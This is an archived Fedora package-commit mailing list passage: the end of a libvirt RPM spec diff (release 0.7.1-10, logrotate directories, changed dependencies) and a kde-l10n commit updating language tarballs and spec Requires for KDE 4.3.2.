 %define with_avahi         0%{!?_without_avahi:%{server_drivers}}
 
-# Then the hypervisor drivers
+# Then the hypervisor drivers that run on local host
 %define with_xen           0%{!?_without_xen:%{server_drivers}}
 %define with_xen_proxy     0%{!?_without_xen_proxy:%{server_drivers}}
 %define with_qemu          0%{!?_without_qemu:%{server_drivers}}
@@ -37,9 +37,12 @@
 %define with_lxc           0%{!?_without_lxc:%{server_drivers}}
 %define with_vbox          0%{!?_without_vbox:%{server_drivers}}
 %define with_uml           0%{!?_without_uml:%{server_drivers}}
+# XXX this shouldn't be here, but it mistakenly links into libvirtd
 %define with_one           0%{!?_without_one:%{server_drivers}}
-%define with_phyp          0%{!?_without_phyp:%{server_drivers}}
-%define with_esx           0%{!?_without_esx:%{server_drivers}}
+
+# Then the hypervisor drivers that talk a native remote protocol
+%define with_phyp          0%{!?_without_phyp:1}
+%define with_esx           0%{!?_without_esx:1}
 
 # Then the secondary host drivers
 %define with_network       0%{!?_without_network:%{server_drivers}}
@@ -69,10 +72,6 @@
 %define with_xen 0
 %endif
 
-# Numactl is not available on s390[x]
-%ifarch s390 s390x
-%define with_numactl 0
-%endif
 
 # RHEL doesn't ship OpenVZ, VBox, UML, OpenNebula, PowerHypervisor or ESX
 %if 0%{?rhel}
@@ -100,6 +99,7 @@
 %endif
 %define with_xen 0
 %endif
+
 # If Xen isn't turned on, we shouldn't build the xen proxy either
 %if ! %{with_xen}
 %define with_xen_proxy 0
@@ -151,7 +151,7 @@
 Summary: Library providing a simple API virtualization
 Name: libvirt
 Version: 0.7.1
-Release: 9%{?dist}%{?extra_release}
+Release: 10%{?dist}%{?extra_release}
 License: LGPLv2+
 Group: Development/Libraries
 Source: http://libvirt.org/sources/libvirt-%{version}.tar.gz
@@ -177,6 +177,7 @@ Patch07: libvirt-svirt-relabel-qcow2-bac
 
 # Change logrotate config to weekly (#526769)
 Patch08: libvirt-change-logrotate-config-to-weekly.patch
+Patch09: libvirt-logrotate-create-lxc-uml-dirs.patch
 
 BuildRoot: %{_tmppath}/%{name}-%{version}-%{release}-root
 URL: http://libvirt.org/
@@ -337,6 +338,9 @@ BuildRequires: netcf-devel
 # Fedora build root suckage
 BuildRequires: gawk
 
+# Needed for libvirt-logrotate-create-lxc-uml-dirs.patch
+BuildRequires: automake
+
 %description
 Libvirt is a C toolkit to interact with the virtualization capabilities
 of recent versions of Linux (and other OSes). The main package includes
@@ -378,7 +382,7 @@ the virtualization capabilities of recen
 %package python
 Summary: Python bindings for the libvirt library
 Group: Development/Libraries
-Requires: libvirt = %{version}-%{release}
+Requires: libvirt-client = %{version}-%{release}
 
 %description python
 The libvirt-python package contains a module that permits applications
@@ -398,8 +402,12 @@ of recent versions of Linux (and other O
 %patch06 -p1
 %patch07 -p1
 %patch08 -p1
+%patch09 -p1
 
 %build
+# Needed for libvirt-logrotate-create-lxc-uml-dirs.patch
+automake
+
 %if ! %{with_xen}
 %define _without_xen --without-xen
 %endif
@@ -622,7 +630,7 @@ fi
 
 /sbin/chkconfig --add libvirtd
 if [ "$1" -ge "1" ]; then
-    /sbin/service libvirtd condrestart > /dev/null 2>&1
+	/sbin/service libvirtd condrestart > /dev/null 2>&1
 fi
 %endif
 
@@ -655,6 +663,9 @@ fi
 %config(noreplace) %{_sysconfdir}/sysconfig/libvirtd
 %config(noreplace) %{_sysconfdir}/libvirt/libvirtd.conf
 %config(noreplace) %{_sysconfdir}/logrotate.d/libvirtd
+%dir %attr(0700, root, root) %{_localstatedir}/log/libvirt/qemu/
+%dir %attr(0700, root, root) %{_localstatedir}/log/libvirt/lxc/
+%dir %attr(0700, root, root) %{_localstatedir}/log/libvirt/uml/
 
 %if %{with_qemu}
 %config(noreplace) %{_sysconfdir}/libvirt/qemu.conf
@@ -712,13 +723,11 @@ fi
 %endif
 
 %dir %attr(0700, root, root) %{_localstatedir}/log/libvirt/
-%if %{with_qemu}
-%dir %attr(0700, root, root) %{_localstatedir}/log/libvirt/qemu/
-%endif
 
 %if %{with_xen_proxy}
 %attr(4755, root, root) %{_libexecdir}/libvirt_proxy
 %endif
+
 %if %{with_lxc}
 %attr(0755, root, root) %{_libexecdir}/libvirt_lxc
 %endif
@@ -788,6 +797,11 @@ fi
 %endif
 
 %changelog
+* Tue Oct  6 2009 Mark McLoughlin <markmc at redhat.com> - 0.7.1-10
+- Create /var/log/libvirt/{lxc,uml} dirs for logrotate
+- Make libvirt-python dependon on libvirt-client
+- Sync misc minor changes from upstream spec
+
 * Tue Oct  6 2009 Mark McLoughlin <markmc at redhat.com> - 0.7.1-9
 - Change logrotate config to weekly (#526769)
 



From ltinkl at fedoraproject.org  Tue Oct  6 12:45:50 2009
From: ltinkl at fedoraproject.org (Lukas Tinkl)
Date: Tue,  6 Oct 2009 12:45:50 +0000 (UTC)
Subject: rpms/kde-l10n/F-12 .cvsignore, 1.29, 1.30 kde-l10n.spec, 1.95,
	1.96 sources, 1.33, 1.34
Message-ID: <20091006124550.861CA11C00C1@cvs1.fedora.phx.redhat.com>

Author: ltinkl

Update of /cvs/extras/rpms/kde-l10n/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv29700

Modified Files:
	.cvsignore kde-l10n.spec sources 
Log Message:
KDE 4.3.2



Index: .cvsignore
===================================================================
RCS file: /cvs/extras/rpms/kde-l10n/F-12/.cvsignore,v
retrieving revision 1.29
retrieving revision 1.30
diff -u -p -r1.29 -r1.30
--- .cvsignore	4 Sep 2009 23:05:27 -0000	1.29
+++ .cvsignore	6 Oct 2009 12:45:50 -0000	1.30
@@ -1,337 +1,57 @@
-kde-l10n-ar-4.2.85.tar.bz2
-kde-l10n-nds-4.2.85.tar.bz2
-kde-l10n-bg-4.2.85.tar.bz2
-kde-l10n-bn_IN-4.2.85.tar.bz2
-kde-l10n-ca-4.2.85.tar.bz2
-kde-l10n-csb-4.2.85.tar.bz2
-kde-l10n-cs-4.2.85.tar.bz2
-kde-l10n-da-4.2.85.tar.bz2
-kde-l10n-de-4.2.85.tar.bz2
-kde-l10n-el-4.2.85.tar.bz2
-kde-l10n-en_GB-4.2.85.tar.bz2
-kde-l10n-es-4.2.85.tar.bz2
-kde-l10n-et-4.2.85.tar.bz2
-kde-l10n-eu-4.2.85.tar.bz2
-kde-l10n-fi-4.2.85.tar.bz2
-kde-l10n-fr-4.2.85.tar.bz2
-kde-l10n-ga-4.2.85.tar.bz2
-kde-l10n-gl-4.2.85.tar.bz2
-kde-l10n-gu-4.2.85.tar.bz2
-kde-l10n-he-4.2.85.tar.bz2
-kde-l10n-hi-4.2.85.tar.bz2
-kde-l10n-hu-4.2.85.tar.bz2
-kde-l10n-is-4.2.85.tar.bz2
-kde-l10n-it-4.2.85.tar.bz2
-kde-l10n-ja-4.2.85.tar.bz2
-kde-l10n-kk-4.2.85.tar.bz2
-kde-l10n-km-4.2.85.tar.bz2
-kde-l10n-kn-4.2.85.tar.bz2
-kde-l10n-ko-4.2.85.tar.bz2
-kde-l10n-ku-4.2.85.tar.bz2
-kde-l10n-lt-4.2.85.tar.bz2
-kde-l10n-lv-4.2.85.tar.bz2
-kde-l10n-mai-4.2.85.tar.bz2
-kde-l10n-mk-4.2.85.tar.bz2
-kde-l10n-ml-4.2.85.tar.bz2
-kde-l10n-mr-4.2.85.tar.bz2
-kde-l10n-nb-4.2.85.tar.bz2
-kde-l10n-nl-4.2.85.tar.bz2
-kde-l10n-nn-4.2.85.tar.bz2
-kde-l10n-pa-4.2.85.tar.bz2
-kde-l10n-pl-4.2.85.tar.bz2
-kde-l10n-pt_BR-4.2.85.tar.bz2
-kde-l10n-pt-4.2.85.tar.bz2
-kde-l10n-ro-4.2.85.tar.bz2
-kde-l10n-ru-4.2.85.tar.bz2
-kde-l10n-sk-4.2.85.tar.bz2
-kde-l10n-sl-4.2.85.tar.bz2
-kde-l10n-sr-4.2.85.tar.bz2
-kde-l10n-sv-4.2.85.tar.bz2
-kde-l10n-tg-4.2.85.tar.bz2
-kde-l10n-th-4.2.85.tar.bz2
-kde-l10n-tr-4.2.85.tar.bz2
-kde-l10n-uk-4.2.85.tar.bz2
-kde-l10n-wa-4.2.85.tar.bz2
-kde-l10n-zh_CN-4.2.85.tar.bz2
-kde-l10n-zh_TW-4.2.85.tar.bz2
-kde-l10n-ar-4.2.95.tar.bz2
-kde-l10n-bg-4.2.95.tar.bz2
-kde-l10n-bn_IN-4.2.95.tar.bz2
-kde-l10n-ca-4.2.95.tar.bz2
-kde-l10n-csb-4.2.95.tar.bz2
-kde-l10n-cs-4.2.95.tar.bz2
-kde-l10n-da-4.2.95.tar.bz2
-kde-l10n-de-4.2.95.tar.bz2
-kde-l10n-el-4.2.95.tar.bz2
-kde-l10n-en_GB-4.2.95.tar.bz2
-kde-l10n-es-4.2.95.tar.bz2
-kde-l10n-et-4.2.95.tar.bz2
-kde-l10n-eu-4.2.95.tar.bz2
-kde-l10n-fi-4.2.95.tar.bz2
-kde-l10n-fr-4.2.95.tar.bz2
-kde-l10n-ga-4.2.95.tar.bz2
-kde-l10n-gl-4.2.95.tar.bz2
-kde-l10n-gu-4.2.95.tar.bz2
-kde-l10n-he-4.2.95.tar.bz2
-kde-l10n-hi-4.2.95.tar.bz2
-kde-l10n-hu-4.2.95.tar.bz2
-kde-l10n-is-4.2.95.tar.bz2
-kde-l10n-it-4.2.95.tar.bz2
-kde-l10n-ja-4.2.95.tar.bz2
-kde-l10n-kk-4.2.95.tar.bz2
-kde-l10n-km-4.2.95.tar.bz2
-kde-l10n-kn-4.2.95.tar.bz2
-kde-l10n-ko-4.2.95.tar.bz2
-kde-l10n-ku-4.2.95.tar.bz2
-kde-l10n-lt-4.2.95.tar.bz2
-kde-l10n-lv-4.2.95.tar.bz2
-kde-l10n-mai-4.2.95.tar.bz2
-kde-l10n-mk-4.2.95.tar.bz2
-kde-l10n-ml-4.2.95.tar.bz2
-kde-l10n-mr-4.2.95.tar.bz2
-kde-l10n-nb-4.2.95.tar.bz2
-kde-l10n-nds-4.2.95.tar.bz2
-kde-l10n-nl-4.2.95.tar.bz2
-kde-l10n-nn-4.2.95.tar.bz2
-kde-l10n-pa-4.2.95.tar.bz2
-kde-l10n-pl-4.2.95.tar.bz2
-kde-l10n-pt_BR-4.2.95.tar.bz2
-kde-l10n-pt-4.2.95.tar.bz2
-kde-l10n-ro-4.2.95.tar.bz2
-kde-l10n-ru-4.2.95.tar.bz2
-kde-l10n-sk-4.2.95.tar.bz2
-kde-l10n-sl-4.2.95.tar.bz2
-kde-l10n-sr-4.2.95.tar.bz2
-kde-l10n-sv-4.2.95.tar.bz2
-kde-l10n-tg-4.2.95.tar.bz2
-kde-l10n-th-4.2.95.tar.bz2
-kde-l10n-tr-4.2.95.tar.bz2
-kde-l10n-uk-4.2.95.tar.bz2
-kde-l10n-wa-4.2.95.tar.bz2
-kde-l10n-zh_CN-4.2.95.tar.bz2
-kde-l10n-zh_TW-4.2.95.tar.bz2
-kde-l10n-ar-4.2.96.tar.bz2
-kde-l10n-bg-4.2.96.tar.bz2
-kde-l10n-bn_IN-4.2.96.tar.bz2
-kde-l10n-ca-4.2.96.tar.bz2
-kde-l10n-csb-4.2.96.tar.bz2
-kde-l10n-cs-4.2.96.tar.bz2
-kde-l10n-da-4.2.96.tar.bz2
-kde-l10n-de-4.2.96.tar.bz2
-kde-l10n-el-4.2.96.tar.bz2
-kde-l10n-en_GB-4.2.96.tar.bz2
-kde-l10n-es-4.2.96.tar.bz2
-kde-l10n-et-4.2.96.tar.bz2
-kde-l10n-eu-4.2.96.tar.bz2
-kde-l10n-fi-4.2.96.tar.bz2
-kde-l10n-fr-4.2.96.tar.bz2
-kde-l10n-ga-4.2.96.tar.bz2
-kde-l10n-gl-4.2.96.tar.bz2
-kde-l10n-gu-4.2.96.tar.bz2
-kde-l10n-he-4.2.96.tar.bz2
-kde-l10n-hi-4.2.96.tar.bz2
-kde-l10n-hu-4.2.96.tar.bz2
-kde-l10n-is-4.2.96.tar.bz2
-kde-l10n-it-4.2.96.tar.bz2
-kde-l10n-ja-4.2.96.tar.bz2
-kde-l10n-kk-4.2.96.tar.bz2
-kde-l10n-km-4.2.96.tar.bz2
-kde-l10n-kn-4.2.96.tar.bz2
-kde-l10n-ko-4.2.96.tar.bz2
-kde-l10n-ku-4.2.96.tar.bz2
-kde-l10n-lt-4.2.96.tar.bz2
-kde-l10n-lv-4.2.96.tar.bz2
-kde-l10n-mai-4.2.96.tar.bz2
-kde-l10n-mk-4.2.96.tar.bz2
-kde-l10n-ml-4.2.96.tar.bz2
-kde-l10n-mr-4.2.96.tar.bz2
-kde-l10n-nb-4.2.96.tar.bz2
-kde-l10n-nds-4.2.96.tar.bz2
-kde-l10n-nl-4.2.96.tar.bz2
-kde-l10n-nn-4.2.96.tar.bz2
-kde-l10n-pa-4.2.96.tar.bz2
-kde-l10n-pl-4.2.96.tar.bz2
-kde-l10n-pt_BR-4.2.96.tar.bz2
-kde-l10n-pt-4.2.96.tar.bz2
-kde-l10n-ro-4.2.96.tar.bz2
-kde-l10n-ru-4.2.96.tar.bz2
-kde-l10n-sk-4.2.96.tar.bz2
-kde-l10n-sl-4.2.96.tar.bz2
-kde-l10n-sr-4.2.96.tar.bz2
-kde-l10n-sv-4.2.96.tar.bz2
-kde-l10n-tg-4.2.96.tar.bz2
-kde-l10n-th-4.2.96.tar.bz2
-kde-l10n-tr-4.2.96.tar.bz2
-kde-l10n-uk-4.2.96.tar.bz2
-kde-l10n-wa-4.2.96.tar.bz2
-kde-l10n-zh_CN-4.2.96.tar.bz2
-kde-l10n-zh_TW-4.2.96.tar.bz2
-kde-l10n-ar-4.2.98.tar.bz2
-kde-l10n-bg-4.2.98.tar.bz2
-kde-l10n-bn_IN-4.2.98.tar.bz2
-kde-l10n-ca-4.2.98.tar.bz2
-kde-l10n-csb-4.2.98.tar.bz2
-kde-l10n-cs-4.2.98.tar.bz2
-kde-l10n-da-4.2.98.tar.bz2
-kde-l10n-de-4.2.98.tar.bz2
-kde-l10n-el-4.2.98.tar.bz2
-kde-l10n-en_GB-4.2.98.tar.bz2
-kde-l10n-es-4.2.98.tar.bz2
-kde-l10n-et-4.2.98.tar.bz2
-kde-l10n-eu-4.2.98.tar.bz2
-kde-l10n-fi-4.2.98.tar.bz2
-kde-l10n-fr-4.2.98.tar.bz2
-kde-l10n-ga-4.2.98.tar.bz2
-kde-l10n-gl-4.2.98.tar.bz2
-kde-l10n-gu-4.2.98.tar.bz2
-kde-l10n-he-4.2.98.tar.bz2
-kde-l10n-hi-4.2.98.tar.bz2
-kde-l10n-hu-4.2.98.tar.bz2
-kde-l10n-is-4.2.98.tar.bz2
-kde-l10n-it-4.2.98.tar.bz2
-kde-l10n-ja-4.2.98.tar.bz2
-kde-l10n-kk-4.2.98.tar.bz2
-kde-l10n-km-4.2.98.tar.bz2
-kde-l10n-kn-4.2.98.tar.bz2
-kde-l10n-ko-4.2.98.tar.bz2
-kde-l10n-ku-4.2.98.tar.bz2
-kde-l10n-lt-4.2.98.tar.bz2
-kde-l10n-lv-4.2.98.tar.bz2
-kde-l10n-mai-4.2.98.tar.bz2
-kde-l10n-mk-4.2.98.tar.bz2
-kde-l10n-ml-4.2.98.tar.bz2
-kde-l10n-mr-4.2.98.tar.bz2
-kde-l10n-nb-4.2.98.tar.bz2
-kde-l10n-nds-4.2.98.tar.bz2
-kde-l10n-nl-4.2.98.tar.bz2
-kde-l10n-nn-4.2.98.tar.bz2
-kde-l10n-pa-4.2.98.tar.bz2
-kde-l10n-pl-4.2.98.tar.bz2
-kde-l10n-pt_BR-4.2.98.tar.bz2
-kde-l10n-pt-4.2.98.tar.bz2
-kde-l10n-ro-4.2.98.tar.bz2
-kde-l10n-ru-4.2.98.tar.bz2
-kde-l10n-sk-4.2.98.tar.bz2
-kde-l10n-sl-4.2.98.tar.bz2
-kde-l10n-sr-4.2.98.tar.bz2
-kde-l10n-sv-4.2.98.tar.bz2
-kde-l10n-tg-4.2.98.tar.bz2
-kde-l10n-th-4.2.98.tar.bz2
-kde-l10n-tr-4.2.98.tar.bz2
-kde-l10n-uk-4.2.98.tar.bz2
-kde-l10n-wa-4.2.98.tar.bz2
-kde-l10n-zh_CN-4.2.98.tar.bz2
-kde-l10n-zh_TW-4.2.98.tar.bz2
-kde-l10n-ar-4.3.0.tar.bz2
-kde-l10n-bg-4.3.0.tar.bz2
-kde-l10n-bn_IN-4.3.0.tar.bz2
-kde-l10n-ca-4.3.0.tar.bz2
-kde-l10n-csb-4.3.0.tar.bz2
-kde-l10n-cs-4.3.0.tar.bz2
-kde-l10n-da-4.3.0.tar.bz2
-kde-l10n-de-4.3.0.tar.bz2
-kde-l10n-el-4.3.0.tar.bz2
-kde-l10n-en_GB-4.3.0.tar.bz2
-kde-l10n-es-4.3.0.tar.bz2
-kde-l10n-et-4.3.0.tar.bz2
-kde-l10n-eu-4.3.0.tar.bz2
-kde-l10n-fi-4.3.0.tar.bz2
-kde-l10n-fr-4.3.0.tar.bz2
-kde-l10n-ga-4.3.0.tar.bz2
-kde-l10n-gl-4.3.0.tar.bz2
-kde-l10n-gu-4.3.0.tar.bz2
-kde-l10n-he-4.3.0.tar.bz2
-kde-l10n-hi-4.3.0.tar.bz2
-kde-l10n-hu-4.3.0.tar.bz2
-kde-l10n-is-4.3.0.tar.bz2
-kde-l10n-it-4.3.0.tar.bz2
-kde-l10n-ja-4.3.0.tar.bz2
-kde-l10n-kk-4.3.0.tar.bz2
-kde-l10n-km-4.3.0.tar.bz2
-kde-l10n-kn-4.3.0.tar.bz2
-kde-l10n-ko-4.3.0.tar.bz2
-kde-l10n-ku-4.3.0.tar.bz2
-kde-l10n-lt-4.3.0.tar.bz2
-kde-l10n-lv-4.3.0.tar.bz2
-kde-l10n-mai-4.3.0.tar.bz2
-kde-l10n-mk-4.3.0.tar.bz2
-kde-l10n-ml-4.3.0.tar.bz2
-kde-l10n-mr-4.3.0.tar.bz2
-kde-l10n-nb-4.3.0.tar.bz2
-kde-l10n-nds-4.3.0.tar.bz2
-kde-l10n-nl-4.3.0.tar.bz2
-kde-l10n-nn-4.3.0.tar.bz2
-kde-l10n-pa-4.3.0.tar.bz2
-kde-l10n-pl-4.3.0.tar.bz2
-kde-l10n-pt_BR-4.3.0.tar.bz2
-kde-l10n-pt-4.3.0.tar.bz2
-kde-l10n-ro-4.3.0.tar.bz2
-kde-l10n-ru-4.3.0.tar.bz2
-kde-l10n-sk-4.3.0.tar.bz2
-kde-l10n-sl-4.3.0.tar.bz2
-kde-l10n-sr-4.3.0.tar.bz2
-kde-l10n-sv-4.3.0.tar.bz2
-kde-l10n-tg-4.3.0.tar.bz2
-kde-l10n-th-4.3.0.tar.bz2
-kde-l10n-tr-4.3.0.tar.bz2
-kde-l10n-uk-4.3.0.tar.bz2
-kde-l10n-wa-4.3.0.tar.bz2
-kde-l10n-zh_CN-4.3.0.tar.bz2
-kde-l10n-zh_TW-4.3.0.tar.bz2
-kde-l10n-ar-4.3.1.tar.bz2
-kde-l10n-bg-4.3.1.tar.bz2
-kde-l10n-bn_IN-4.3.1.tar.bz2
-kde-l10n-ca-4.3.1.tar.bz2
-kde-l10n-csb-4.3.1.tar.bz2
-kde-l10n-cs-4.3.1.tar.bz2
-kde-l10n-da-4.3.1.tar.bz2
-kde-l10n-de-4.3.1.tar.bz2
-kde-l10n-el-4.3.1.tar.bz2
-kde-l10n-en_GB-4.3.1.tar.bz2
-kde-l10n-es-4.3.1.tar.bz2
-kde-l10n-et-4.3.1.tar.bz2
-kde-l10n-eu-4.3.1.tar.bz2
-kde-l10n-fi-4.3.1.tar.bz2
-kde-l10n-fr-4.3.1.tar.bz2
-kde-l10n-ga-4.3.1.tar.bz2
-kde-l10n-gl-4.3.1.tar.bz2
-kde-l10n-gu-4.3.1.tar.bz2
-kde-l10n-he-4.3.1.tar.bz2
-kde-l10n-hi-4.3.1.tar.bz2
-kde-l10n-hu-4.3.1.tar.bz2
-kde-l10n-is-4.3.1.tar.bz2
-kde-l10n-it-4.3.1.tar.bz2
-kde-l10n-ja-4.3.1.tar.bz2
-kde-l10n-kk-4.3.1.tar.bz2
-kde-l10n-km-4.3.1.tar.bz2
-kde-l10n-kn-4.3.1.tar.bz2
-kde-l10n-ko-4.3.1.tar.bz2
-kde-l10n-ku-4.3.1.tar.bz2
-kde-l10n-lt-4.3.1.tar.bz2
-kde-l10n-lv-4.3.1.tar.bz2
-kde-l10n-mai-4.3.1.tar.bz2
-kde-l10n-mk-4.3.1.tar.bz2
-kde-l10n-ml-4.3.1.tar.bz2
-kde-l10n-mr-4.3.1.tar.bz2
-kde-l10n-nb-4.3.1.tar.bz2
-kde-l10n-nds-4.3.1.tar.bz2
-kde-l10n-nl-4.3.1.tar.bz2
-kde-l10n-nn-4.3.1.tar.bz2
-kde-l10n-pa-4.3.1.tar.bz2
-kde-l10n-pl-4.3.1.tar.bz2
-kde-l10n-pt_BR-4.3.1.tar.bz2
-kde-l10n-pt-4.3.1.tar.bz2
-kde-l10n-ro-4.3.1.tar.bz2
-kde-l10n-ru-4.3.1.tar.bz2
-kde-l10n-sk-4.3.1.tar.bz2
-kde-l10n-sl-4.3.1.tar.bz2
-kde-l10n-sr-4.3.1.tar.bz2
-kde-l10n-sv-4.3.1.tar.bz2
-kde-l10n-tg-4.3.1.tar.bz2
-kde-l10n-th-4.3.1.tar.bz2
-kde-l10n-tr-4.3.1.tar.bz2
-kde-l10n-uk-4.3.1.tar.bz2
-kde-l10n-wa-4.3.1.tar.bz2
-kde-l10n-zh_CN-4.3.1.tar.bz2
-kde-l10n-zh_TW-4.3.1.tar.bz2
-kde-l10n-hr-4.3.1.tar.bz2
+kde-l10n-ar-4.3.2.tar.bz2
+kde-l10n-bg-4.3.2.tar.bz2
+kde-l10n-bn_IN-4.3.2.tar.bz2
+kde-l10n-ca-4.3.2.tar.bz2
+kde-l10n-csb-4.3.2.tar.bz2
+kde-l10n-cs-4.3.2.tar.bz2
+kde-l10n-da-4.3.2.tar.bz2
+kde-l10n-de-4.3.2.tar.bz2
+kde-l10n-el-4.3.2.tar.bz2
+kde-l10n-en_GB-4.3.2.tar.bz2
+kde-l10n-es-4.3.2.tar.bz2
+kde-l10n-et-4.3.2.tar.bz2
+kde-l10n-eu-4.3.2.tar.bz2
+kde-l10n-fi-4.3.2.tar.bz2
+kde-l10n-fr-4.3.2.tar.bz2
+kde-l10n-ga-4.3.2.tar.bz2
+kde-l10n-gl-4.3.2.tar.bz2
+kde-l10n-gu-4.3.2.tar.bz2
+kde-l10n-he-4.3.2.tar.bz2
+kde-l10n-hi-4.3.2.tar.bz2
+kde-l10n-hr-4.3.2.tar.bz2
+kde-l10n-hu-4.3.2.tar.bz2
+kde-l10n-is-4.3.2.tar.bz2
+kde-l10n-it-4.3.2.tar.bz2
+kde-l10n-ja-4.3.2.tar.bz2
+kde-l10n-kk-4.3.2.tar.bz2
+kde-l10n-km-4.3.2.tar.bz2
+kde-l10n-kn-4.3.2.tar.bz2
+kde-l10n-ko-4.3.2.tar.bz2
+kde-l10n-ku-4.3.2.tar.bz2
+kde-l10n-lt-4.3.2.tar.bz2
+kde-l10n-lv-4.3.2.tar.bz2
+kde-l10n-mai-4.3.2.tar.bz2
+kde-l10n-mk-4.3.2.tar.bz2
+kde-l10n-ml-4.3.2.tar.bz2
+kde-l10n-mr-4.3.2.tar.bz2
+kde-l10n-nb-4.3.2.tar.bz2
+kde-l10n-nds-4.3.2.tar.bz2
+kde-l10n-nl-4.3.2.tar.bz2
+kde-l10n-nn-4.3.2.tar.bz2
+kde-l10n-pa-4.3.2.tar.bz2
+kde-l10n-pl-4.3.2.tar.bz2
+kde-l10n-pt_BR-4.3.2.tar.bz2
+kde-l10n-pt-4.3.2.tar.bz2
+kde-l10n-ro-4.3.2.tar.bz2
+kde-l10n-ru-4.3.2.tar.bz2
+kde-l10n-sk-4.3.2.tar.bz2
+kde-l10n-sl-4.3.2.tar.bz2
+kde-l10n-sr-4.3.2.tar.bz2
+kde-l10n-sv-4.3.2.tar.bz2
+kde-l10n-tg-4.3.2.tar.bz2
+kde-l10n-th-4.3.2.tar.bz2
+kde-l10n-tr-4.3.2.tar.bz2
+kde-l10n-uk-4.3.2.tar.bz2
+kde-l10n-wa-4.3.2.tar.bz2
+kde-l10n-zh_CN-4.3.2.tar.bz2
+kde-l10n-zh_TW-4.3.2.tar.bz2


Index: kde-l10n.spec
===================================================================
RCS file: /cvs/extras/rpms/kde-l10n/F-12/kde-l10n.spec,v
retrieving revision 1.95
retrieving revision 1.96
diff -u -p -r1.95 -r1.96
--- kde-l10n.spec	5 Sep 2009 02:53:59 -0000	1.95
+++ kde-l10n.spec	6 Oct 2009 12:45:50 -0000	1.96
@@ -1,8 +1,8 @@
 %define buildall 0
 
 Name: kde-l10n
-Version: 4.3.1
-Release: 2%{dist}
+Version: 4.3.2
+Release: 1%{dist}
 Url: http://www.kde.org
 Summary: Internationalization support for KDE
 Group: User Interface/Desktops
@@ -74,15 +74,12 @@ Source61: ftp://ftp.kde.org/pub/kde/stab
 Source62: ftp://ftp.kde.org/pub/kde/stable/%{version}/src/kde-l10n-hr-%{version}.tar.bz2
 Source1000: subdirs-kde-l10n
 
-# upstream patches
-
-Requires: kde-filesystem
-
-BuildRequires: kdelibs4-devel >= %{version}
+BuildRequires: cmake
 BuildRequires: findutils
 BuildRequires: gettext
-BuildRequires: kde-filesystem >= 4
-BuildRequires: cmake
+BuildRequires: kdelibs4-devel >= %{version}
+
+Requires: kde-filesystem
 
 %description
 Internationalization support for KDE
@@ -90,7 +87,7 @@ Internationalization support for KDE
 %package Afrikaans
 Summary: Afrikaans language support for KDE
 Group: User Interface/Desktops
-Requires: kde-filesystem
+Requires: %{name} = %{version}-%{release}
 Provides: %{name}-af = %{version}-%{release}
 
 %description Afrikaans
@@ -99,7 +96,7 @@ Afrikaans support for KDE
 %package Arabic 
 Summary: Arabic language support for KDE
 Group: User Interface/Desktops
-Requires: kde-filesystem
+Requires: %{name} = %{version}-%{release}
 Provides: %{name}-ar = %{version}-%{release}
 
 %description Arabic
@@ -108,7 +105,7 @@ Arabic support for KDE
 %package Azerbaijani
 Summary: Azerbaijani language support for KDE
 Group: User Interface/Desktops
-Requires: kde-filesystem
+Requires: %{name} = %{version}-%{release}
 Provides: %{name}-af = %{version}-%{release}
 
 %description Azerbaijani
@@ -117,7 +114,7 @@ Azerbaijani language support for KDE
 %package Basque
 Summary: Basque language support for KDE
 Group: User Interface/Desktops
-Requires: kde-filesystem
+Requires: %{name} = %{version}-%{release}
 Provides: %{name}-eu = %{version}-%{release}
 
 %description Basque
@@ -126,7 +123,7 @@ Basque language support for KDE
 %package Belarusian
 Summary: Belarusian language support for KDE
 Group: User Interface/Desktops
-Requires: kde-filesystem
+Requires: %{name} = %{version}-%{release}
 Provides: %{name}-be = %{version}-%{release}
 
 %description Belarusian
@@ -135,7 +132,7 @@ Belarusian language support for KDE
 %package Bengali-India
 Summary: Bengali India language support for KDE
 Group: User Interface/Desktops
-Requires: kde-filesystem
+Requires: %{name} = %{version}-%{release}
 Provides: %{name}-bn_IN = %{version}-%{release}
 Obsoletes: %{name}-Bengali
 
@@ -145,7 +142,7 @@ Bengali India language support for KDE
 %package Bulgarian
 Summary: Bulgarian language support for KDE
 Group: User Interface/Desktops
-Requires: kde-filesystem
+Requires: %{name} = %{version}-%{release}
 Provides: %{name}-bg = %{version}-%{release}
 
 %description Bulgarian
@@ -154,7 +151,7 @@ Bulgarian language support for KDE
 %package Tibetan
 Summary: Tibetan language support for KDE
 Group: User Interface/Desktops
-Requires: kde-filesystem
+Requires: %{name} = %{version}-%{release}
 Provides: %{name}-bo = %{version}-%{release}
 
 %description Tibetan
@@ -163,7 +160,7 @@ Tibetan language support for KDE
 %package Breton
 Summary: Breton language support for KDE
 Group: User Interface/Desktops
-Requires: kde-filesystem
+Requires: %{name} = %{version}-%{release}
 Provides: %{name}-br = %{version}-%{release}
 
 %description Breton
@@ -172,7 +169,7 @@ Breton language support for KDE
 %package Bosnian
 Summary: Bosnian language support for KDE
 Group: User Interface/Desktops
-Requires: kde-filesystem
+Requires: %{name} = %{version}-%{release}
 Provides: %{name}-bs = %{version}-%{release}
 
 %description Bosnian
@@ -181,7 +178,7 @@ Bosnian language support for KDE
 %package Catalan
 Summary: Catalan language support for KDE
 Group: User Interface/Desktops
-Requires: kde-filesystem
+Requires: %{name} = %{version}-%{release}
 Provides: %{name}-ca = %{version}-%{release}
 
 %description Catalan
@@ -190,7 +187,7 @@ Catalan language support for KDE
 %package Czech
 Summary: Czech language support for KDE
 Group: User Interface/Desktops
-Requires: kde-filesystem
+Requires: %{name} = %{version}-%{release}
 Provides: %{name}-cs = %{version}-%{release}
 
 %description Czech
@@ -199,7 +196,7 @@ Czech language support for KDE
 %package Welsh
 Summary: Welsh language support for KDE
 Group: User Interface/Desktops
-Requires: kde-filesystem
+Requires: %{name} = %{version}-%{release}
 Provides: %{name}-cy = %{version}-%{release}
 
 %description Welsh
@@ -208,7 +205,7 @@ Welsh language support for KDE
 %package Danish
 Summary: Danish language support for KDE
 Group: User Interface/Desktops
-Requires: kde-filesystem
+Requires: %{name} = %{version}-%{release}
 Provides: %{name}-da = %{version}-%{release}
 
 %description Danish
@@ -217,7 +214,7 @@ Danish language support for KDE
 %package German
 Summary: German language support for KDE
 Group: User Interface/Desktops
-Requires: kde-filesystem
+Requires: %{name} = %{version}-%{release}
 Provides: %{name}-de = %{version}-%{release}
 
 %description German
@@ -226,7 +223,7 @@ German language support for KDE
 %package Greek
 Summary: Greek language support for KDE
 Group: User Interface/Desktops
-Requires: kde-filesystem
+Requires: %{name} = %{version}-%{release}
 Provides: %{name}-el = %{version}-%{release}
 
